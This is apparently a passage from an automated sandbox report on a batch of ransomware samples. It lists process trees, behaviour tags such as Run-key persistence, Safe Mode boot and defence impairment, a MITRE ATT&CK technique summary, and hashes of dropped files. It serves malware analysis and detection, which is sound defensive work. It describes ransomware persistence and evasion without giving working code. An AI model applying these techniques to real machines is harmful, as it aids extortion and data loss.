                            • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.dcyi-1b7d280a89460d56bc435776d48572c664d105cb85969fbf4214d2db5c2ba620.exe
                              "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.dcyi-1b7d280a89460d56bc435776d48572c664d105cb85969fbf4214d2db5c2ba620.exe"
                              1⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:5704
                              • C:\Windows\SysWOW64\spb.exe
                                C:\Windows\SysWOW64\spb.exe
                                2⤵
                                  PID:1440
                              • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoBlocker.eldo-87eaab6c1d4fb9c6441d21604bbdff5d51e26c1668346a740fee9f214d3372ee.exe
                                "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoBlocker.eldo-87eaab6c1d4fb9c6441d21604bbdff5d51e26c1668346a740fee9f214d3372ee.exe"
                                1⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Drops file in System32 directory
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of SetWindowsHookEx
                                PID:6088
                                • C:\Windows\SysWOW64\regsvr32.exe
                                  regsvr32 /s "C:\Windows\system32\MSWINSCK.OCX"
                                  2⤵
                                  • Loads dropped DLL
                                  • System Location Discovery: System Language Discovery
                                  • Modifies registry class
                                  PID:4044
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config winmgmt start= demand
                                  2⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:5712
                                • C:\Windows\SysWOW64\sc.exe
                                  sc start winmgmt
                                  2⤵
                                  • Launches sc.exe
                                  PID:3412
                              • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoCodec.bv-b37905b595ce0a31ba34498bfb48836d5e7266e712bc439ffe8f5b9a436e150b.exe
                                "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoCodec.bv-b37905b595ce0a31ba34498bfb48836d5e7266e712bc439ffe8f5b9a436e150b.exe"
                                1⤵
                                • Executes dropped EXE
                                • Suspicious use of SetWindowsHookEx
                                PID:5664
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoCodec.bv-b37905b595ce0a31ba34498bfb48836d5e7266e712bc439ffe8f5b9a436e150b.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoCodec.bv-b37905b595ce0a31ba34498bfb48836d5e7266e712bc439ffe8f5b9a436e150b.exe"
                                  2⤵
                                    PID:4840
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Shade.xq-706084a136119e904772be4ffded6c06f33fe7983327fc4100c8133a500698ea.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Shade.xq-706084a136119e904772be4ffded6c06f33fe7983327fc4100c8133a500698ea.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:5800
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.XBlocker.av-707bdd363b637ba4520100b03e9d91b0ea4cf9d29665ead5c68017aca6cada06.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.XBlocker.av-707bdd363b637ba4520100b03e9d91b0ea4cf9d29665ead5c68017aca6cada06.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:6096
                                  • C:\Users\Admin\AppData\Local\Temp\file_4632.exe
                                    "C:\Users\Admin\AppData\Local\Temp\file_4632.exe" -m2
                                    2⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of SetWindowsHookEx
                                    PID:6104
                                    • C:\Users\Admin\AppData\Local\Temp\file_4632.exe
                                      "C:\Users\Admin\AppData\Local\Temp\file_4632.exe" -m2 -p6104
                                      3⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4304
                                • C:\Users\Admin\Desktop\00263\UDS-Trojan-Ransom.Win32.Digitala.gen-144fd494f9f63b769ae7400d256b05f5a6b0395f4caf7f349fb3bfdab370a364.exe
                                  "C:\Users\Admin\Desktop\00263\UDS-Trojan-Ransom.Win32.Digitala.gen-144fd494f9f63b769ae7400d256b05f5a6b0395f4caf7f349fb3bfdab370a364.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:6084
                                • C:\Users\Admin\Desktop\00263\UDS-Trojan-Ransom.Win32.Foreign.gen-106e9d8e4b4a42ca59780bd6ca13b9f2e5d23053ea838e37f05fd2922e682596.exe
                                  "C:\Users\Admin\Desktop\00263\UDS-Trojan-Ransom.Win32.Foreign.gen-106e9d8e4b4a42ca59780bd6ca13b9f2e5d23053ea838e37f05fd2922e682596.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • System Location Discovery: System Language Discovery
                                  PID:5148
                                  • C:\Users\Admin\Desktop\00263\UDS-Trojan-Ransom.Win32.Foreign.gen-106e9d8e4b4a42ca59780bd6ca13b9f2e5d23053ea838e37f05fd2922e682596.exe
                                    C:\Users\Admin\Desktop\00263\UDS-Trojan-Ransom.Win32.Foreign.gen-106e9d8e4b4a42ca59780bd6ca13b9f2e5d23053ea838e37f05fd2922e682596.exe
                                    2⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    PID:1508
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Locky.zh-bbd8f286db26cc5bbf7b8bfb9d0aa61e4c9810f2004505356be82456419ea652.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Locky.zh-bbd8f286db26cc5bbf7b8bfb9d0aa61e4c9810f2004505356be82456419ea652.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:5040
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Onion.hh-eb802a697c419662c692e04b3a2ecf3625063fea74e3b93795c5d53877f43bca.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Onion.hh-eb802a697c419662c692e04b3a2ecf3625063fea74e3b93795c5d53877f43bca.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2352
                                  • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Onion.hh-eb802a697c419662c692e04b3a2ecf3625063fea74e3b93795c5d53877f43bca.exe
                                    "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Onion.hh-eb802a697c419662c692e04b3a2ecf3625063fea74e3b93795c5d53877f43bca.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:5816
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.bxm-a2186f1d6e78afee9e8d2b373bc10da234142fd451b85c599a797042385f1857.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.bxm-a2186f1d6e78afee9e8d2b373bc10da234142fd451b85c599a797042385f1857.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:4968
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.cvdv-b4fc60d10c21c3a56f5d7652e79ed6b12996f60291612372287932604e541d33.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.cvdv-b4fc60d10c21c3a56f5d7652e79ed6b12996f60291612372287932604e541d33.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:3512
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.cvnv-6340c4c9b6707f567e83a44fb0512152245920886cc6405a831de10cd1af561b.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.cvnv-6340c4c9b6707f567e83a44fb0512152245920886cc6405a831de10cd1af561b.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:3524
                                • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.cwcn-8142d12fa8a873c7f1ecc682186d4d6afa275cd1ac3f311af7d70d3e2784bdbf.exe
                                  "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.cwcn-8142d12fa8a873c7f1ecc682186d4d6afa275cd1ac3f311af7d70d3e2784bdbf.exe"
                                  1⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Impair Defenses: Safe Mode Boot
                                  • Adds Run key to start application
                                  • Drops file in System32 directory
                                  • System Location Discovery: System Language Discovery
                                  • Modifies registry class
                                  PID:2412
                                  • C:\Windows\SysWOW64\matthi.exe
                                    "C:\Windows\system32\matthi.exe"
                                    2⤵
                                      PID:5812
                                      • C:\Windows\SysWOW64\matthi.exe
                                        "C:\Windows\system32\matthi.exe"
                                        3⤵
                                          PID:5156
                                          • C:\Windows\SysWOW64\matthi.exe
                                            "C:\Windows\system32\matthi.exe"
                                            4⤵
                                              PID:5744
                                              • C:\Windows\SysWOW64\matthi.exe
                                                "C:\Windows\system32\matthi.exe"
                                                5⤵
                                                  PID:1396
                                                  • C:\Windows\SysWOW64\matthi.exe
                                                    "C:\Windows\system32\matthi.exe"
                                                    6⤵
                                                      PID:3884
                                                      • C:\Windows\SysWOW64\matthi.exe
                                                        "C:\Windows\system32\matthi.exe"
                                                        7⤵
                                                          PID:5640
                                                          • C:\Windows\SysWOW64\matthi.exe
                                                            "C:\Windows\system32\matthi.exe"
                                                            8⤵
                                                              PID:5216
                                                              • C:\Windows\SysWOW64\matthi.exe
                                                                "C:\Windows\system32\matthi.exe"
                                                                9⤵
                                                                  PID:5576
                                                                  • C:\Windows\SysWOW64\matthi.exe
                                                                    "C:\Windows\system32\matthi.exe"
                                                                    10⤵
                                                                      PID:5744
                                                                      • C:\Windows\SysWOW64\matthi.exe
                                                                        "C:\Windows\system32\matthi.exe"
                                                                        11⤵
                                                                          PID:2032
                                                                          • C:\Windows\SysWOW64\matthi.exe
                                                                            "C:\Windows\system32\matthi.exe"
                                                                            12⤵
                                                                              PID:3480
                                                                              • C:\Windows\SysWOW64\matthi.exe
                                                                                "C:\Windows\system32\matthi.exe"
                                                                                13⤵
                                                                                  PID:2812
                                                                                  • C:\Windows\SysWOW64\matthi.exe
                                                                                    "C:\Windows\system32\matthi.exe"
                                                                                    14⤵
                                                                                      PID:5660
                                                                                      • C:\Windows\SysWOW64\matthi.exe
                                                                                        "C:\Windows\system32\matthi.exe"
                                                                                        15⤵
                                                                                          PID:5944
                                                                                          • C:\Windows\SysWOW64\matthi.exe
                                                                                            "C:\Windows\system32\matthi.exe"
                                                                                            16⤵
                                                                                              PID:652
                                                                                              • C:\Windows\SysWOW64\matthi.exe
                                                                                                "C:\Windows\system32\matthi.exe"
                                                                                                17⤵
                                                                                                  PID:4356
                                                                                                  • C:\Windows\SysWOW64\matthi.exe
                                                                                                    "C:\Windows\system32\matthi.exe"
                                                                                                    18⤵
                                                                                                      PID:2352
                                                                                                      • C:\Windows\SysWOW64\matthi.exe
                                                                                                        "C:\Windows\system32\matthi.exe"
                                                                                                        19⤵
                                                                                                          PID:5932
                                                                                                          • C:\Windows\SysWOW64\matthi.exe
                                                                                                            "C:\Windows\system32\matthi.exe"
                                                                                                            20⤵
                                                                                                              PID:5916
                                                                                                              • C:\Windows\SysWOW64\matthi.exe
                                                                                                                "C:\Windows\system32\matthi.exe"
                                                                                                                21⤵
                                                                                                                  PID:4256
                                                                        • C:\Users\Admin\AppData\Roaming\{50C269F5-F918-2AC0-7A1D-38E5B99CA1E6}\fsutil.exe
                                                                          C:\Users\Admin\AppData\Roaming\{50C269F5-F918-2AC0-7A1D-38E5B99CA1E6}\fsutil.exe
                                                                          1⤵
                                                                            PID:2548

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Reconnaissance

                                                                          Resource Development

                                                                          Initial Access

                                                                          Execution

                                                                          Persistence

                                                                          Boot or Logon Autostart Execution

                                                                          3
                                                                          T1547

                                                                          Registry Run Keys / Startup Folder

                                                                          2
                                                                          T1547.001

                                                                          Winlogon Helper DLL

                                                                          1
                                                                          T1547.004

                                                                          Create or Modify System Process

                                                                          2
                                                                          T1543

                                                                          Windows Service

                                                                          2
                                                                          T1543.003

                                                                          Event Triggered Execution

                                                                          1
                                                                          T1546

                                                                          Image File Execution Options Injection

                                                                          1
                                                                          T1546.012

                                                                          Privilege Escalation

                                                                          Abuse Elevation Control Mechanism

                                                                          1
                                                                          T1548

                                                                          Bypass User Account Control

                                                                          1
                                                                          T1548.002

                                                                          Boot or Logon Autostart Execution

                                                                          3
                                                                          T1547

                                                                          Registry Run Keys / Startup Folder

                                                                          2
                                                                          T1547.001

                                                                          Winlogon Helper DLL

                                                                          1
                                                                          T1547.004

                                                                          Create or Modify System Process

                                                                          2
                                                                          T1543

                                                                          Windows Service

                                                                          2
                                                                          T1543.003

                                                                          Event Triggered Execution

                                                                          1
                                                                          T1546

                                                                          Image File Execution Options Injection

                                                                          1
                                                                          T1546.012

                                                                          Defense Evasion

                                                                          Abuse Elevation Control Mechanism

                                                                          1
                                                                          T1548

                                                                          Bypass User Account Control

                                                                          1
                                                                          T1548.002

                                                                          Hide Artifacts

                                                                          2
                                                                          T1564

                                                                          Hidden Files and Directories

                                                                          2
                                                                          T1564.001

                                                                          Impair Defenses

                                                                          5
                                                                          T1562

                                                                          Disable or Modify System Firewall

                                                                          1
                                                                          T1562.004

                                                                          Disable or Modify Tools

                                                                          3
                                                                          T1562.001

                                                                          Safe Mode Boot

                                                                          1
                                                                          T1562.009

                                                                          Indicator Removal

                                                                          1
                                                                          T1070

                                                                          Clear Persistence

                                                                          1
                                                                          T1070.009

                                                                          Modify Registry

                                                                          15
                                                                          T1112

                                                                          Credential Access

                                                                          Credentials from Password Stores

                                                                          1
                                                                          T1555

                                                                          Credentials from Web Browsers

                                                                          1
                                                                          T1555.003

                                                                          Unsecured Credentials

                                                                          1
                                                                          T1552

                                                                          Credentials In Files

                                                                          1
                                                                          T1552.001

                                                                          Discovery

                                                                          Network Service Discovery

                                                                          1
                                                                          T1046

                                                                          Peripheral Device Discovery

                                                                          2
                                                                          T1120

                                                                          Query Registry

                                                                          3
                                                                          T1012

                                                                          System Information Discovery

                                                                          5
                                                                          T1082

                                                                          System Location Discovery

                                                                          1
                                                                          T1614

                                                                          System Language Discovery

                                                                          1
                                                                          T1614.001

                                                                          System Network Configuration Discovery

                                                                          1
                                                                          T1016

                                                                          Internet Connection Discovery

                                                                          1
                                                                          T1016.001

                                                                          Lateral Movement

                                                                          Collection

                                                                          Data from Local System

                                                                          1
                                                                          T1005

                                                                          Command and Control

                                                                          Exfiltration

                                                                          Impact

                                                                          Defacement

                                                                          1
                                                                          T1491

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            d2fb266b97caff2086bf0fa74eddb6b2

                                                                            SHA1

                                                                            2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                                                            SHA256

                                                                            b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                                                            SHA512

                                                                            c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                                            Filesize

                                                                            4B

                                                                            MD5

                                                                            f49655f856acb8884cc0ace29216f511

                                                                            SHA1

                                                                            cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                                            SHA256

                                                                            7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                                            SHA512

                                                                            599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                                            Filesize

                                                                            944B

                                                                            MD5

                                                                            6bd369f7c74a28194c991ed1404da30f

                                                                            SHA1

                                                                            0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                                                            SHA256

                                                                            878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                                                            SHA512

                                                                            8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\7za.exe
                                                                            Filesize

                                                                            513KB

                                                                            MD5

                                                                            108998c5f46ac80cc1a24dd24f0cfc31

                                                                            SHA1

                                                                            b2dc1c349ef4eaa6d4409614be2030355bcccca5

                                                                            SHA256

                                                                            88d3891d481759c5d0ac1e321b6cadde2acbe35cb01c4b5f24799aaa76eb37c2

                                                                            SHA512

                                                                            db8459dc432c401ed25907887a223a5071e7c82513ea403048b12b2dcdb4d84902cbccc2408ef10aa2df4993fa49e72de07d07a16986b6de20d74458f60ca451

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Omsiy.exe
                                                                            Filesize

                                                                            8.6MB

                                                                            MD5

                                                                            495aea10a0727bdcb9833eddccf2ebb6

                                                                            SHA1

                                                                            6746e8a6c6d0041f04fccdf5814601a6853b1ffb

                                                                            SHA256

                                                                            0a68376af1e031108c0ffa55d8122b83987e2e68074eb62c9bbe7cf5c1a66414

                                                                            SHA512

                                                                            edd4493b136e0ffff251669357eae65555284b2aa94df2041a8330527f05488a12ab0ed755d4b70c1e52c30740b5e8480b70c22b389327de6729ec75fe8129fb

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Zmkwhrrxoe.png
                                                                            Filesize

                                                                            18KB

                                                                            MD5

                                                                            815bbd6f2ae97d70f6b0a9ad3f200318

                                                                            SHA1

                                                                            8cb3d56c3991db4160073543270009087381e2b3

                                                                            SHA256

                                                                            f45c19ccb7cd1c6cedf153ba0380032783687ef0c3365f77d6dc108be6800441

                                                                            SHA512

                                                                            90e4bf24bb025bd6ae018b80065e141803cfdedc6c19a885b7008291afca12624ecf6fbb3419c5a393b90d217d4206ca06777b88a71281763743ca27e1781f05

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\autCC34.tmp
                                                                            Filesize

                                                                            218KB

                                                                            MD5

                                                                            bac71ee106ece3c3ce7348b49dfda5e0

                                                                            SHA1

                                                                            c1d91f2f1f12dc230f11d853914f01d28bbea692

                                                                            SHA256

                                                                            2e635065a4c7a52eb33f167c96862485b65543ce0421ae1445f61b317e4e675e

                                                                            SHA512

                                                                            03a0a814969aecb2d866a14e7287085e779b1156d1f4fa0b5d8cd48d9742c575af1463066818eaebbfbc77387e04b8df29796b1eced2fb3ae608239651ab562c

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\autE25E.tmp
                                                                            Filesize

                                                                            202KB

                                                                            MD5

                                                                            c4b9f734a0aac44489b548c510116773

                                                                            SHA1

                                                                            0eabf30b5be6975cc546397f5d6b400dfb6a8ce0

                                                                            SHA256

                                                                            63cea54653761b83f1daf5eb279239715917b99769f87cd13ebd2db1d708c57f

                                                                            SHA512

                                                                            34a3e80637a92d3714275a10fcf8d18d937ae863dc9f15e8ec38ec4d0a80f3dc0285fbf66c90032f36b4fe4c46b3b34eba705e6bd3609c2a0de5a8fe2fd6510e

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\nsiA4E8.tmp\System.dll
                                                                            Filesize

                                                                            11KB

                                                                            MD5

                                                                            6f5257c0b8c0ef4d440f4f4fce85fb1b

                                                                            SHA1

                                                                            b6ac111dfb0d1fc75ad09c56bde7830232395785

                                                                            SHA256

                                                                            b7ccb923387cc346731471b20fc3df1ead13ec8c2e3147353c71bb0bd59bc8b1

                                                                            SHA512

                                                                            a3cc27f1efb52fb8ecda54a7c36ada39cefeabb7b16f2112303ea463b0e1a4d745198d413eebb3551e012c84a20dcdf4359e511e51bc3f1a60b13f1e3bad1aa8

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\nsxA2D5.tmp\System.dll
                                                                            Filesize

                                                                            11KB

                                                                            MD5

                                                                            883eff06ac96966270731e4e22817e11

                                                                            SHA1

                                                                            523c87c98236cbc04430e87ec19b977595092ac8

                                                                            SHA256

                                                                            44e5dfd551b38e886214bd6b9c8ee913c4c4d1f085a6575d97c3e892b925da82

                                                                            SHA512

                                                                            60333253342476911c84bbc1d9bf8a29f811207787fdd6107dce8d2b6e031669303f28133ffc811971ed7792087fe90fb1faabc0af4e91c298ba51e28109a390

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\yhTrV.txt
                                                                            Filesize

                                                                            138B

                                                                            MD5

                                                                            4da6717f2c70f4bd32ad33a227a2ff47

                                                                            SHA1

                                                                            3d7f7159e1f695bd469287d1ad4ffa0841b407a8

                                                                            SHA256

                                                                            a12bb2e5d2fb0b3c400ce311fae72995a00b57a97d23e4b9effec47cff189d07

                                                                            SHA512

                                                                            6765314054ad9bf2164058248f3d3a17775176925abbe4376aec030dca3a5e59be8b9e96139941fec2b2e1a9bff38f87abdb29ea09a299d8ab7e23ecec4083df

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Local\Temp\~DF08A3.TMP
                                                                            Filesize

                                                                            5KB

                                                                            MD5

                                                                            76845a7849002c66c7befbc2fae2ba81

                                                                            SHA1

                                                                            edd7a379e5013198a7c51ee285034375a80f2146

                                                                            SHA256

                                                                            bd94ebde8ee053547961eb2cb4ddf9e569ab961d9f7f0cc61ca89399d5e22f5a

                                                                            SHA512

                                                                            81c7e5019d6c6a8d42911b02d8698c599ce3515349151d601190963aa3788e8981eae3457e507072510188cb80587ff429d780ca3c07eb0283cf49c11a6ec0fc

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Roaming\Blowfish.dll
                                                                            Filesize

                                                                            11KB

                                                                            MD5

                                                                            162f091bc878c23dc07bd5d252b85102

                                                                            SHA1

                                                                            36785ee3ac4bf5e2e5494c665668b96deebdb5e2

                                                                            SHA256

                                                                            90ddec5a0d2bad402ef79988914970e7904f6448d8bf87b85f979d27bf0a0606

                                                                            SHA512

                                                                            ff413fa363f2e9e23a4b76053bff8fdd81832e6110cb838b369a3a1285fa536f14a8a91a9489a18dd51ff6e48f388803beaa0aeb70c92d2979170e94e2216592

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Roaming\Nwiz.dll
                                                                            Filesize

                                                                            57KB

                                                                            MD5

                                                                            376440bb68372a6090f606a2c251d9fb

                                                                            SHA1

                                                                            bfde2aa780b7ebc43186f6ed1dfbcdebf84d92cf

                                                                            SHA256

                                                                            a44a694bef3652e5ab91553e47f7c091d6a732dea58b802ddcbd5f9c0a4a50e8

                                                                            SHA512

                                                                            8d6b2b41a5f4936f5fe4645ddbc5c80f66f8f32c0227c160ea166b88f6ff0940266ac7004ea6c5f0a39f50684baf4d0046b1edbe02d5d726b9709bfd5c3e0b9b

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Roaming\clean.exe
                                                                            Filesize

                                                                            1.4MB

                                                                            MD5

                                                                            c8df1d0d1d43a265198776ed45cab6ef

                                                                            SHA1

                                                                            d39ba7efb1f57dd315afcd0500a8f662e37d744d

                                                                            SHA256

                                                                            7f8ad4c1c330344e137e5d48683b1f1e63bd76d96361fb88a2598161181486db

                                                                            SHA512

                                                                            b14cfffee104a6faf3167bf5a1eb0d39f6a38e171bc59fc9b453ba2498fc80da0c0557104bc3e1b97aa7158a266eabd27b8924e4463b648f723ffc6cf2b360e0

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Roaming\dkfjasdfshd.bat
                                                                            Filesize

                                                                            358B

                                                                            MD5

                                                                            fe1a37409f85be3f853931af961a4ba5

                                                                            SHA1

                                                                            729479624b8f2f09fac49dc82aced4d978b3580f

                                                                            SHA256

                                                                            44bb6a0e60b542ab0e0a3df6a5501015f0b49fcfb169c616a2ff911d66c7bf60

                                                                            SHA512

                                                                            03179ad2fa8b504735f4ffa6b7b3a83b87f613d8773e8adc0e769f0a76827623a9bfd8126b5140c480260aa2ebe89c26998c940bd0c158697d98b47119bae079

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Roaming\hotfix.exe
                                                                            Filesize

                                                                            2.6MB

                                                                            MD5

                                                                            ecb09970566cdf707bbc0e426031d71d

                                                                            SHA1

                                                                            56705e697ec8cbf5b00e4e91eaefcfb313ed3ab4

                                                                            SHA256

                                                                            7309be020881c8ccf98ba4da890f9a1c7c4c8646093d8e4bd865c87f4fcc6232

                                                                            SHA512

                                                                            33b8b3b5cf95e19204bcdc355e83e367a5f5844198c70450afc3876268a566774c821df65ac2bde5132dd9005d4cec3fcc78683d732f76198f7abb688711b887

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat
                                                                            Filesize

                                                                            358B

                                                                            MD5

                                                                            e4cddeb439e1e88df56bafba41813a4e

                                                                            SHA1

                                                                            b91c952ec1ed9f0eb8775a42800be5c83fdc2dd4

                                                                            SHA256

                                                                            3b859b34c83e6b58f9667205b34d3757e0184e7f0148269fd743be92a1a9c853

                                                                            SHA512

                                                                            931713390704cf58ceaee3a70a79720b9d3a351f07b31e43ddfc7f16ab7b9a0ece0a3372e30507ffe0afd544e71c39424787c040bf306ba0cea7c1cf275e214a

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Roaming\sdtsh.bat
                                                                            Filesize

                                                                            352B

                                                                            MD5

                                                                            734d6b858907674f30174bce80895a78

                                                                            SHA1

                                                                            bed958acb939da2a2fa4c2cd996fba263adeaa84

                                                                            SHA256

                                                                            fb1a61a88761a3922928d536b484c391a39f7227021932516927b9bc180f1388

                                                                            SHA512

                                                                            e57bbb2743d1d02c8ee2168a445e5c09fcd70dc3adbae10154f7f4c7bb76ec001a39487c9d6549c761725ff86a2e528908eb5f90caaf650aac29b8d52335b377

                                                                            Download Submit

                                                                          • C:\Users\Admin\AppData\Roaming\winlogon.txt
                                                                            Filesize

                                                                            1.5MB

                                                                            MD5

                                                                            c2b77548b87187565dffe47206b597f2

                                                                            SHA1

                                                                            cd21db5d6620960266dbe8e692163be51297f212

                                                                            SHA256

                                                                            c6a88be435c0bd5607d0656d8f2a7ebdc6a37ad532844b839f88071057edfa71

                                                                            SHA512

                                                                            de4742c89b711c29ff300c09c5684ad589f10832ec555d3be7722e3b7f04070c9fc135688ac296dca93d6ccb7258e1f468149586b3eec37d91655b0f5c777e38

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\HEUR-Trojan-Ransom.Win32.Agent.gen-87e68ef0e5bbaa96be726907509b6c3b76a79f2fb09f5b54bda21e6734eae617.exe
                                                                            Filesize

                                                                            1.5MB

                                                                            MD5

                                                                            014f92427afaa3888080eaf3959c587f

                                                                            SHA1

                                                                            c99b1e4d4d7e3fc3268d5bed8ca7e56efec09e49

                                                                            SHA256

                                                                            87e68ef0e5bbaa96be726907509b6c3b76a79f2fb09f5b54bda21e6734eae617

                                                                            SHA512

                                                                            faef698bf2ac146fca4053e7ff35349d11d9fd512b32551fcabd43829070b7f54b08fc47e0e70306ec0aad3aa827d0938a9db8e36ffb07ba03ed39f33fa1cfeb

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\HEUR-Trojan-Ransom.Win32.Generic-0ec1e06fd0a8f5572aaf9b08b9218f20676ac769b131e42e794d4239d17ef761.exe
                                                                            Filesize

                                                                            1.4MB

                                                                            MD5

                                                                            5f8dde3b37921dfaa47e481ee3f7b1ec

                                                                            SHA1

                                                                            cc3966add5a5da958b9e1094c3151a2419c59613

                                                                            SHA256

                                                                            0ec1e06fd0a8f5572aaf9b08b9218f20676ac769b131e42e794d4239d17ef761

                                                                            SHA512

                                                                            fa3dcb5d087b6661dda8fd450c1c48bdeda9a80af5ada2c38797596a25a6eabc5b2422abffcb2f71a5196b0a4257696235361c41792a4f6013870171e97ae980

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.MSIL.Cyclone.p-361185113ad6758104fa4c309b88c3dea669a92c1b53045714525d18df297a65.exe
                                                                            Filesize

                                                                            389KB

                                                                            MD5

                                                                            28b215a194f2c5b5259c5fa8f29c408d

                                                                            SHA1

                                                                            c911ceda3f20665ad772150c83a84c94c720d9f3

                                                                            SHA256

                                                                            361185113ad6758104fa4c309b88c3dea669a92c1b53045714525d18df297a65

                                                                            SHA512

                                                                            ad13a246a7f08660ce4980c0c5ba683777876d45a090202290f5b0d70eb8bed4323d0143647792293da7d74855f7b2ed912e24fd734d1db523e215bae7162603

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.MyxaH.qqr-0ff45e5a5bf26fb129fbc80830b64c864eff8509d7ba73968f5f5afee9e76f8c.exe
